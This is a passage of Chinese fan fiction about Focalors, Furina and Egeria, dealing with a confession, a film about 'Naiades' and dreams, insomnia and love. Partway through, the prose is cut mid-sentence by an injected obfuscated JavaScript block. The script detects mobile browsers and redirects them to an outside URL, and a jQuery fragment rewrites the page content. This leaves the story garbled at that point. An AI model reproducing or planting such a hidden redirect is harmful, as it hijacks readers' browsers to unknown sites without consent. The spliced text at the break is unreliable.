芙宁娜,人类世界的小怪物。醉心游宴,随心所欲,不为不感兴趣的事物驻足,不为无意义的社交花费时间。她看起来无忧无虑无病无灾,好像将永远年轻永远充满活力。然而每一个角色都好像从她身上剥去了什么,每一个角色从此都在影像中取得永恒的生命,最终芙宁娜伤痕累累地坐在高高的王座之上,举起酒杯声嘶力竭地呼吁所有观众一齐举杯相庆—— 所有人潮都随着卡门、随着米娅、随着那伊阿得斯离开了。只剩芙卡洛斯坐在台下。是的,只有芙卡洛斯知晓她的青春是如何被角色们瓜分殆尽,只有芙卡洛斯知晓角色背后的芙宁娜是谁。她是人类世界的小怪物。 芙、宁、娜。每当她轻柔地吐露这个名字时,尾音在空气里震颤,嘴巴微微长成一个圆润的椭圆,芙宁娜感到一片羽毛扫过她的心脏。 她把她全部的青春都浪费在芙卡洛斯身上,而且甘之如饴。这实在是一件可怕的事。然而,当她意识到这一点时,她已经二十八岁,不再年轻。 芙卡洛斯又朦朦胧胧地想,那维莱特老师会怎么评价《宁芙之梦》?无论他会写出怎样的影评,都已经不重要了。 对此刻的芙卡洛斯来说,那伊阿得斯已经活在另一个世界了。她将一身轻松。 芙卡洛斯迷迷糊糊地听见有人敲门。她起初以为又是她想象出来的幻觉,于是依旧躺在床上一动不动。直到芙宁娜跳过来不依不饶地挠她,她才恍然发觉这是现实。她抱着猫去开门,看到门前站着厄歌莉娅和芙宁娜。 “事先声明,我们可没有提前约好——只是偶然碰到而已。”芙宁娜说着,从芙卡洛斯手里接过另一只芙宁娜,没等主人点头,便自然地走进门里。厄歌莉娅紧随其后,像没事人一样冲芙卡洛斯点了点头。 芙卡洛斯有些茫然地眨眼:“夏洛蒂的报道发出来了吗?” “是啊,”芙宁娜熟门熟路地从玄关架子上抽出一根猫条撕开,“所以当事人就上门来讨个说法了啊。” 厄歌莉娅投来歉意的目光。芙卡洛斯莫名地抬头,便听到她以一种不容拒绝的语气说:“芙卡洛斯,我希望你能原谅我。” “你是我亲手种下的,在潮湿雨天发芽的树。”厄歌莉娅说。 她不再当导演的理由很简单:她发现她拍不出那伊阿得斯。她总是梦到那伊阿得斯,可她的面容是模糊的。直到她遇到芙卡洛斯,将这个梦托付了出去。 “是的,我们的第一次见面,比你以为的早得多。”厄歌莉娅说。 “大一的时候,我去福利院做志愿服务。那个时候我看到了你:那一瞬间我知道了,那伊阿得斯是谁。而且我也知道了,那伊阿得斯就存于此世,我根本不可能再让她回到封闭的影像世界之中。于是,我给所有的孤儿讲了一个名为那伊阿得斯的故事。 “在那个雨天我种下了这个故事。我希望你能接过我的衣钵,实现我的梦想。如今,你真的实现了。 “可是,我才发现我是何等自私——我将那伊阿得斯抛给了你。而我却逃跑了,因此活得轻松。你却背负着那伊阿得斯爬了那么久、那么久,早已疲惫不堪。 “我如此懦弱。我没有信心与全世界对抗,所以我藏匿了感情,梦想,恋人,去狡兔酒吧当调酒师,以为这样就能逃得远远的。 “我并不奢求你能原谅我。但是,如果说我的私心结出了什么果实的话,我希望你度过了不会后悔的半生。” 芙卡洛斯恍惚地想,这也是梦吗?也许我是在梦游。她的目光移到一旁两个芙宁娜身上,她们没有说话,只是静静地看着她。那眼神中没有怜悯,也没有同情。她们只是平静地回望她。于是芙卡洛斯便知晓,这并非梦境。 她说:“我不会原谅你。因为这真的是一段很长、很长的道路。可我也并不认为,只有你背负了此种罪孽。你在不止一片土壤上种下了那伊阿得斯,却只在我这里生根发芽。这说明,那伊阿得斯本来也是我的故事。我们用尽一生,不就是为了说出那个真理吗,那个有关生命的真理?” 真理是什么?真理就是深蓝色断头台会梦呓。马拉美死于1898年。候鸟每逢秋季飞离西伯利亚。芙卡洛斯在凌晨因为同时爱上两个女人被斩首,在黄昏因为无法入眠而被赦免。东半球在梦游,西半球在醒来。南半球在失眠,北半球在沉梦。人在梦游时说着真理,在醒来时一忘而空,在失眠时堕入虚无。于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099064|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最疯癫的愚人最清醒,最明理的智者最荒谬。已死的魂灵们高高举起酒杯—— 而诺瓦利斯说出了真理:“当我们梦见自己做梦,说明我们就要醒来。” 焚书年代,童话是漂浮在大街小巷里的吗,还是被压在黑漆漆的矿层之下,等待千百年后的爆破?1876年,马拉美写作《牧神的午后》的那个午后,是怎样一个午后?有柔和的黄金的飞鸟掠过他的窗前,还是淅淅沥沥的小雨伴着笔尖?梦游的时候,淡水水母会对海水过敏吗?咸水鳄鱼的眼泪是什么味道的?以时速八百公里撞击水母,水母会撕裂柔软的身体,变成缓慢炸开的烟花吗?鳄鱼拍不出理想的那伊阿得斯,会搁浅在宇宙的褶皱里吗? 芙卡洛斯对你们任何一个人来说,产生意义了吗?除了用一天就能看完的半生,她是这个世界这个宇宙被接纳的成员了吗? 厄歌莉娅说:“我喜欢她很久很久。我从见到她的第一眼就知道,她是我的那伊阿得斯。可那会儿我根本不了解她甚至不知道她姓甚名谁。我不知道我迷恋她什么。” 芙宁娜回答道:“爱就是这样不知所谓的东西。” 所以芙卡洛斯对你们任何一个人来说,产生意义了吗?除了用一天就能看完的半生,她是这个世界这个宇宙被接纳的成员了吗? 黄昏时所有高脚杯里都盛满了鳄鱼的眼泪,因为太阳每日郑重其事的死亡都需要郑重其事的悼念。有一万个港口在最后一次日落里沉没,直到新的晨雾把湿润的空气吹到世界各地。我在梦游时一口气喝掉杯中眼泪,坐在港口吹着海风想,女孩和女孩,她们会生出后代吗? 芙卡洛斯给芙宁娜看自己标记为IS的笔记。 “你是个诗人,而我只是个演员。”芙宁娜说。 “诗人和演员的本质区别,大概就是咸水和淡水的区别。”芙卡洛斯说,“我知道你对海水过敏,可是没关系,芙宁娜。我会小心翼翼地藏好我的感情的。” 芙宁娜一时有些啼笑皆非。她想说你藏得太过拙劣,又想说你露马脚是因为IS,但最后她只是说: 淡水水母不会过敏,咸水鳄鱼不会搁浅。 海子说: 众神创造物中只有我最易朽 带着不可抗拒的死亡的速度 芙卡洛斯对厄歌莉娅和芙宁娜宣布:等到春天,我要种下十个海子,十个马拉美和十个华兹华斯。 会收获很多很多诗歌吗。芙宁娜问。 会收获很多很多爱情吗。厄歌莉娅问。 芙卡洛斯苦恼地想了想,说,不会,但是全世界都会罹患失眠症候群,于是我们再也不用掩饰,再也不用克制,我们可以在天空下拥吻。 送走厄歌莉娅和芙宁娜后,芙卡洛斯抱着猫坐到桌前。网上吵成一锅粥,芙卡洛斯毫不在意地戴上耳机,新建文档,敲下标题:失眠症候群。 这会是一个真正的她一生的故事吗?她向前走啊,却总忍不住回头。可当她回头时,梦境与现实却如此紧密地交织在一起,让她恍然以为她的人生不过是一场太过冗长的梦境。 于是她写:所有的梦都被梦过了,没有人会有多余的梦。 她的人生也不是什么新奇的故事。她不过是在一遍遍重拍那伊阿得斯。 耳机里小川範子踩过梶浦由記的旋律,唱着生命的真理: 愛してる/我爱你 愛してね/爱着你 愛されて/请爱我 good night/晚安 芙卡洛斯对着窗外的雨说:晚安。